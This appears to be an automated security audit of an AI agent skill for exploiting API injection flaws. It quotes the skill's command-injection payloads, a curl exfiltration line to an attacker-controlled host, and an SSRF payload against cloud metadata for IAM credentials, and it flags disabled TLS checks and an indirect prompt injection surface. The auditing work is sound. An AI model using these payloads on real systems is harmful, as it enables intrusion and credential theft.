skills/mukul975/anthropic-cybersecurity-skills/exploiting-api-injection-vulnerabilities/Gen Agent Trust Hub
exploiting-api-injection-vulnerabilities
Warn
Audited by Gen Agent Trust Hub on Sep 14, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONDATA_EXFILTRATIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides Python scripts and workflows designed to execute arbitrary OS commands on target systems through injection payloads.
- Evidence:
SKILL.mdandscripts/agent.pylist payloads such as; sleep 5,| whoami, and$(id)for testing system command execution. - [DATA_EXFILTRATION]: The instructions include specific payloads for exfiltrating sensitive system data and targeting internal services or cloud metadata. The provided scanning tool also weakens communication security.
- Evidence:
SKILL.mdcontains the payload; curl http://attacker-controlled-server.com/$(whoami)designed to exfiltrate system data to an external host. - Evidence:
SKILL.mdprovides SSRF payloads targeting internal cloud metadata services (e.g.,http://169.254.169.254/latest/meta-data/) to extract IAM credentials. - Evidence:
scripts/agent.pyusesverify=Falsein allrequests.getandrequests.postcalls, disabling SSL/TLS certificate validation. - [INDIRECT_PROMPT_INJECTION]: The skill presents an attack surface for indirect prompt injection by accepting and processing untrusted target URLs and parameters for network operations.
- Ingestion points: The
args.urlandargs.paramsinputs inscripts/agent.pyallow user-supplied data to control network request targets. - Boundary markers: The script does not implement boundary markers to isolate user input from the rest of the request logic or to protect the agent from endpoint responses.
- Capability inventory: The skill utilizes the
requestslibrary to perform arbitrary HTTP GET and POST requests. - Sanitization: The script uses
urllib.parse.quote()for parameter values, but does not validate the integrity or destination of the target URL.
Audit Metadata